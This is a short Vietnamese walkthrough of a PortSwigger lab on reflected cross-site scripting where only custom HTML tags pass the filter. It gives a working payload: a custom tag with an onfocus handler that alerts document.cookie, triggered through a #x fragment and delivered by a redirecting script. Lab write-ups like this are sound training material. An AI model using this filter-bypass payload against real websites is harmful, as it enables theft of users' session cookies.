Lab: Reflected XSS into HTML context with all tags blocked except custom ones
Lab URL: PortSwigger Lab
Mô tả
Bài Lab này cũng tương tự như phần chặn hầu hết các tags và attribute, tuy vậy nó sẽ cho ta sử dụng custom tags. Lab yêu cầu ta thực hiện alert ra document.cookie.
Phân tích
Vì nó đã block hết tags nên ta không thể truyền script vào được:

Khai thác
Thế thì ta chỉ cần custom cái tag lại và Delivery đến lab:
Payload: <script> location='https://ac431f2f1efc3d82c04819bd00a6002d.web-security-academy.net/?search=<nh4ttruong+id=x+onfocus=alert(document.cookie)+tabindex=1>#x'; </script>
Dùng onfocus để trigger đến alert, dùng #x để trỏ ngay đến id của tag.
Kết quả
